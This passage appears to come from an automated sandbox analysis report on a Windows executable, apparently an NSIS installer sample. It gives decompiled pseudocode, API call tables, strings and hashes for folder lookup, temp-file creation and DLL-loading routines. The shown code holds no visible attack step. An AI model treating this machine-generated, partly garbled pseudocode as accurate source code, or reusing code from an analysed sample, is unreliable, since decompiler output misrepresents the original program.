									_t99 = _t99 - 1;
									__eflags = _t53;
									if(_t53 == 0) {
										L26:
										_t55 = SHGetSpecialFolderLocation( *0x424748,  *(_t100 + _t99 * 4 - 0x18),  &_v8);
										__eflags = _t55;
										if(_t55 != 0) {
											L28:
											 *_t90 =  *_t90 & 0x00000000;
											__eflags =  *_t90;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v8, _t90);
										_v12 = _t55;
										__imp__CoTaskMemFree(_v8);
										__eflags = _v12;
										if(_v12 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _a8;
									if(_a8 == 0) {
										goto L26;
									}
									_t57 =  *_t53( *0x424748,  *(_t100 + _t99 * 4 - 0x18), 0, 0, _t90); // executed
									__eflags = _t57;
									if(_t57 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryA(_t90, 0x400);
							goto L30;
						} else {
							E0040610F((_t80 & 0x0000003f) +  *0x424798, __eflags, 0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t80 & 0x0000003f) +  *0x424798, _t90, _t80 & 0x00000040); // executed
							__eflags =  *_t90;
							if( *_t90 != 0) {
								L31:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t90, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L33;
							}
							E004062BB(_t66, _t90, _t99, _t90, _v16);
							L30:
							__eflags =  *_t90;
							if( *_t90 == 0) {
								goto L33;
							}
							goto L31;
						}
					}
					__eflags = _t52 - 0x5a04;
					if(_t52 == 0x5a04) {
						goto L13;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L13;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L13;
					} else {
						_a8 = _a8 & 0x00000000;
						goto L14;
					}
				}
				 *_t90 =  *_t90 & 0x00000000;
				if(_a4 == 0) {
					return _t39;
				}
				return E00406228(_a4, _t39);
			}

0x004062bb
0x004062bb
0x004062bb
0x004062c1
0x004062c6
0x004062c8
0x004062d7
0x004062d7
0x004062df
0x004062e0
0x004062e1
0x004062e2
0x004062e5
0x004062ed
0x004062ef
0x00406306
0x00406309
0x00406309
0x004064e0
0x004064e0
0x004064e4
0x00000000
0x00000000
0x00406316
0x0040631c
0x00000000
0x00000000
0x00406322
0x00406323
0x00406326
0x00406329
0x004064d3
0x004064dd
0x004064df
0x004064df
0x004064d5
0x004064d7
0x004064d9
0x004064da
0x004064da
0x00000000
0x004064d3
0x0040632f
0x00406333
0x00406343
0x0040634a
0x0040634d
0x00406355
0x00406358
0x0040635f
0x00406360
0x00406363
0x00406480
0x00406483
0x004064b3
0x004064b6
0x004064bb
0x004064bf
0x004064bf
0x004064c4
0x004064ca
0x004064cc
0x00000000
0x004064cc
0x00406485
0x00406488
0x0040649d
0x004064a4
0x0040648a
0x00406491
0x00406491
0x004064ac
0x004064af
0x00406478
0x00406479
0x00406479
0x00000000
0x004064af
0x00406369
0x00406370
0x00406372
0x00406373
0x0040638d
0x0040638d
0x00406394
0x00406394
0x0040639b
0x0040639d
0x0040639f
0x0040639f
0x004063a0
0x004063a2
0x004063db
0x004063de
0x004063ee
0x004063f1
0x004063f9
0x004063ff
0x004063ff
0x0040645e
0x0040645e
0x00406460
0x00000000
0x00000000
0x00406403
0x0040640a
0x0040640b
0x0040640d
0x00406427
0x00406435
0x0040643b
0x0040643d
0x0040645b
0x0040645b
0x0040645b
0x00000000
0x0040645b
0x00406443
0x0040644c
0x0040644f
0x00406455
0x00406459
0x00000000
0x00000000
0x00000000
0x00406459
0x0040640f
0x00406412
0x00000000
0x00000000
0x00406421
0x00406423
0x00406425
0x00000000
0x00000000
0x00000000
0x00406425
0x00000000
0x0040645e
0x004063e6
0x00000000
0x004063a4
0x004063bf
0x004063c4
0x004063c7
0x00406467
0x00406467
0x0040646b
0x00406473
0x00406473
0x00000000
0x0040646b
0x004063d1
0x00406462
0x00406462
0x00406465
0x00000000
0x00000000
0x00000000
0x00406465
0x004063a2
0x00406375
0x00406379
0x00000000
0x00000000
0x0040637b
0x0040637f
0x00000000
0x00000000
0x00406381
0x00406385
0x00000000
0x00406387
0x00406387
0x00000000
0x00406387
0x00406385
0x004064ea
0x004064f4
0x00406500
0x00406500
0x00000000

APIs

GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 004063E6
GetWindowsDirectoryA.KERNEL32(Call,00000400,?,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00405387,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000), ref: 004063F9
SHGetSpecialFolderLocation.SHELL32(00405387,00000000,?,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00405387,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000), ref: 00406435
SHGetPathFromIDListA.SHELL32(00000000,Call), ref: 00406443
CoTaskMemFree.OLE32(00000000), ref: 0040644F
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406473
lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00405387,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000,00000000), ref: 004064C5

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll, xrefs: 004062E0
Call, xrefs: 004062E5, 004063B2, 004063B3, 004063B4, 004063D0, 004063E5, 004063F8, 00406414, 0040643F, 00406472, 00406478, 00406490, 004064A3, 004064BE, 004064C4, 004064CC, 004064F6
Software\Microsoft\Windows\CurrentVersion, xrefs: 004063B5
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040646D

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-3847397923
Opcode ID: ab62452e92f1668f55c7a800b087add9767d9d72eea6808fd53b272722436f8b
Instruction ID: f83f29d570338ae078c2f0a770e3e6ec7f31d765c13aaba4f9587f8cbfb2a84b
Opcode Fuzzy Hash: ab62452e92f1668f55c7a800b087add9767d9d72eea6808fd53b272722436f8b
Instruction Fuzzy Hash: 22610071A00214AEDF209F64D984BBA3BA4EB55714F12413FE913BA2D1C37C8962CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040534F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040534F(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x423f24; // 0x10440
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x424814;
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E004062BB(0, _t39, 0x420530, 0x420530, _a4);
					}
					_t26 = lstrlenA(0x420530);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x423f08, 0x420530); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x420530;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52); // executed
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x420530)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x420530, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00405355
0x00405361
0x00405364
0x0040536a
0x00405376
0x00405379
0x0040537c
0x00405382
0x00405382
0x00405388
0x00405390
0x00405393
0x004053b0
0x004053b4
0x004053bd
0x004053bd
0x004053c7
0x004053d0
0x004053dc
0x004053e3
0x004053e7
0x004053ea
0x004053fd
0x0040540b
0x0040540b
0x0040540f
0x00405411
0x00405414
0x00000000
0x00405414
0x00405395
0x0040539d
0x004053a5
0x004053ab
0x00000000
0x004053ab
0x004053a5
0x00405393
0x0040541e

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000,?), ref: 00405388
lstrlenA.KERNEL32(00402EC9,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000), ref: 00405398
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00402EC9,00402EC9,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000), ref: 004053AB
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll), ref: 004053BD
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004053E3
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004053FD
SendMessageA.USER32(?,00001013,?,00000000), ref: 0040540B

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll, xrefs: 0040536F, 00405381, 00405387, 004053AA, 004053B6

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll
API String ID: 2531174081-3135470560
Opcode ID: e18d3626f36a090d9f822fc63ef699ae1c49380de9728f70272a988d5b9bcb1a
Instruction ID: d7aab4fbb83e072b647ad5d9ecd44a72e262910ab30c50883f082c619406a612
Opcode Fuzzy Hash: e18d3626f36a090d9f822fc63ef699ae1c49380de9728f70272a988d5b9bcb1a
Instruction Fuzzy Hash: 54218171900118BBDB11AF95DD84ADEBFB9EF04354F14807AF944B6291C7788E918F98

Uniqueness

Uniqueness Score: -1.00%

Function 00405815 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405815(CHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x408384;
				_v36.Group = 0x408384;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x408374;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryA(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityA(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405820
0x00405824
0x00405827
0x0040582d
0x00405831
0x00405835
0x0040583d
0x00405844
0x0040584a
0x00405851
0x00405858
0x00405860
0x00405862
0x00000000
0x00405862
0x0040586c
0x00405873
0x00405889
0x00000000
0x00000000
0x00000000
0x0040588b
0x0040588f

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405858
GetLastError.KERNEL32 ref: 0040586C
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405881
GetLastError.KERNEL32 ref: 0040588B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040583B
C:\Users\user\Desktop, xrefs: 00405815

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-26219170
Opcode ID: df2ca303ac227c9e0d0fbc5e27afd1aa0bff8a01fb2d8cf1edb312bec269ebc1
Instruction ID: d6c2dc8a5c3265a730c97c9ba519fe28ff3708ad137b47d6a6340678ab851e8b
Opcode Fuzzy Hash: df2ca303ac227c9e0d0fbc5e27afd1aa0bff8a01fb2d8cf1edb312bec269ebc1
Instruction Fuzzy Hash: 60011A72D00219DADF10DFA1C944BEFBBB8EF04354F04803ADA45B6290E7789658CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004065C3 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004065C3(intOrPtr _a4) {
				char _v292;
				int _t10;
				struct HINSTANCE__* _t14;
				void* _t16;
				void* _t21;

				_t10 = GetSystemDirectoryA( &_v292, 0x104);
				if(_t10 > 0x104) {
					_t10 = 0;
				}
				if(_t10 == 0 ||  *((char*)(_t21 + _t10 - 0x121)) == 0x5c) {
					_t16 = 1;
				} else {
					_t16 = 0;
				}
				wsprintfA(_t21 + _t10 - 0x120, "%s%s.dll", _t16 + 0x40a014, _a4);
				_t14 = LoadLibraryExA( &_v292, 0, "true"); // executed
				return _t14;
			}

0x004065da
0x004065e3
0x004065e5
0x004065e5
0x004065e9
0x004065fb
0x004065f5
0x004065f5
0x004065f5
0x00406613
0x00406627
0x0040662e

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004065DA
wsprintfA.USER32 ref: 00406613
LoadLibraryExA.KERNELBASE(?,00000000,?), ref: 00406627

Strings

\, xrefs: 004065EB
%s%s.dll, xrefs: 0040660D
UXTHEME, xrefs: 004065CC

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: dd037f00298a2975fe7e642a10d0852ddcb34bcb2038a79f7270f2bd0b83f80d
Instruction ID: 9188928b716331f4199fdf2d451d87d069fed8801fbff73d7d84d2de41a49ecb
Opcode Fuzzy Hash: dd037f00298a2975fe7e642a10d0852ddcb34bcb2038a79f7270f2bd0b83f80d
Instruction Fuzzy Hash: D9F0F6706006097BEB249B68ED0DFEB365CAB08304F1404BEA186E10D1EA78D8358BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040209D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E0040209D(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x424818");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x4247e8 =  *0x4247e8 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E00402BCE(0xfffffff0);
				 *(_t34 + 8) = E00402BCE(1);
				if( *((intOrPtr*)(_t34 - 0x18)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, "true"); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E0040534F(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x20)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 8)), 0x400, 0x425000, 0x40b860, "\xef\xbf\xbdGB"); // 						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x20)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x1c)) == _t27 && E004039DB(_t30) != 0) {
						FreeLibrary(_t30);
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x0040209d
0x0040209d
0x004020a2
0x004020a9
0x00402164
0x004022dd
0x004022dd
0x00402a5a
0x00402a5d
0x00402a69
0x00402a69
0x004020b8
0x004020c2
0x004020c5
0x004020d4
0x004020d8
0x004020de
0x004020e2
0x0040215d
0x00000000
0x0040215d
0x004020e4
0x004020ed
0x004020f1
0x00402135
0x004020f3
0x004020f6
0x004020f9
0x00402129
0x004020fb
0x004020fe
0x00402107
0x00402109
0x00402109
0x00402107
0x004020f9
0x0040213d
0x00402152
0x00402152
0x00000000
0x0040213d
0x004020c8
0x004020ce
0x004020d2
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 004020C8

Part of subcall function 0040534F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000,?), ref: 00405388
Part of subcall function 0040534F: lstrlenA.KERNEL32(00402EC9,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000), ref: 00405398
Part of subcall function 0040534F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00402EC9,00402EC9,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000), ref: 004053AB
Part of subcall function 0040534F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll), ref: 004053BD
Part of subcall function 0040534F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004053E3
Part of subcall function 0040534F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004053FD
Part of subcall function 0040534F: SendMessageA.USER32(?,00001013,?,00000000), ref: 0040540B

LoadLibraryExA.KERNELBASE(00000000,?,?,00000001,000000F0), ref: 004020D8
GetProcAddress.KERNEL32(00000000,?), ref: 004020E8
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,?,00000001,000000F0), ref: 00402152

Strings

GB, xrefs: 00402112

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: GB
API String ID: 2987980305-3285937634
Opcode ID: dc5d238be6fa3caf3df897d60076d33dce4161eb510b57167ed1e348dd0d5f42
Instruction ID: 9b57ca00f45afa7d873c5e4c93812c2e033b3b55bd6b5381131ee912067d0413
Opcode Fuzzy Hash: dc5d238be6fa3caf3df897d60076d33dce4161eb510b57167ed1e348dd0d5f42
Instruction Fuzzy Hash: EA212E32600125EBCF207FA48F49B5F76B0AF50358F20423BF211B62D0CBBC49829A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405DF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00405DF0(char _a4, intOrPtr _a6, CHAR* _a8) {
				char _t11;
				signed int _t12;
				int _t15;
				signed int _t17;
				void* _t20;
				CHAR* _t21;

				_t21 = _a4;
				_push("true");
				_pop(_t20);
				while(1) {
					_t11 =  *0x40a3ec; // 0x61736e
					_t20 = _t20 - 1;
					_a4 = _t11;
					_t12 = GetTickCount();
					_t17 = 0x1a;
					_a6 = _a6 + _t12 % _t17;
					_t15 = GetTempFileNameA(_a8,  &_a4, 0, _t21); // executed
					if(_t15 != 0) {
						break;
					}
					if(_t20 != 0) {
						continue;
					}
					 *_t21 =  *_t21 & 0x00000000;
					return _t15;
				}
				return _t21;
			}

0x00405df4
0x00405df8
0x00405dfa
0x00405dfb
0x00405dfb
0x00405e00
0x00405e01
0x00405e04
0x00405e0e
0x00405e1b
0x00405e1e
0x00405e26
0x00000000
0x00000000
0x00405e2a
0x00000000
0x00000000
0x00405e2c
0x00000000
0x00405e2c
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00405E04
GetTempFileNameA.KERNELBASE(?,?,00000000,?,?,00000007,00000009,0000000B), ref: 00405E1E

Strings

nsa, xrefs: 00405DFB
"C:\Users\user\Desktop\sOjxIU25DP.exe", xrefs: 00405DF0
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DF3

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\sOjxIU25DP.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2064880105
Opcode ID: 6f67c72f8a62f6904c1c8d13d4c39cdc389fdf02a571d79ef00f96109094c4c4
Instruction ID: dc9f33b0ddeab6bc99614e691558c60e13527be9603daad3520fecf5624fafc7
Opcode Fuzzy Hash: 6f67c72f8a62f6904c1c8d13d4c39cdc389fdf02a571d79ef00f96109094c4c4
Instruction Fuzzy Hash: CAF0A7363042087BDB118F59EC45BDB7B9DDF91750F14C03BFA88DA280D6B0D9988798

Uniqueness

Uniqueness Score: -1.00%

Function 6F6216DB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E6F6216DB(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				char _v88;
				struct HINSTANCE__* _t37;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t54;
				intOrPtr _t57;
				signed int _t61;
				signed int _t63;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t76;

				_t76 = __esi;
				_t68 = __edi;
				_t67 = __edx;
				 *0x6f62405c = _a8;
				 *0x6f624060 = _a16;
				 *0x6f624064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x6f624038, E6F621556);
				_push(1); // executed
				_t37 = E6F621A98(); // executed
				_t54 = _t37;
				if(_t54 == 0) {
					L28:
					return _t37;
				} else {
					if( *((intOrPtr*)(_t54 + 4)) != 1) {
						E6F6222AF(_t54);
					}
					E6F6222F1(_t67, _t54);
					_t57 =  *((intOrPtr*)(_t54 + 4));
					if(_t57 == 0xffffffff) {
						L14:
						if(( *(_t54 + 0x810) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t54 + 4)) == 0) {
								_t37 = E6F6224D8(_t54);
							} else {
								_push(_t76);
								_push(_t68);
								_push("true");
								_pop(_t61);
								_t13 = _t54 + 0x818; // 0x818
								memcpy( &_v36, _t13, _t61 << 2);
								_t42 = E6F62156B(_t54,  &_v88);
								 *(_t54 + 0x834) =  *(_t54 + 0x834) & 0x00000000;
								_t18 = _t54 + 0x818; // 0x818
								_t72 = _t18;
								 *((intOrPtr*)(_t54 + 0x820)) = _t42;
								 *_t72 = 3;
								E6F6224D8(_t54);
								_push("true");
								_pop(_t63);
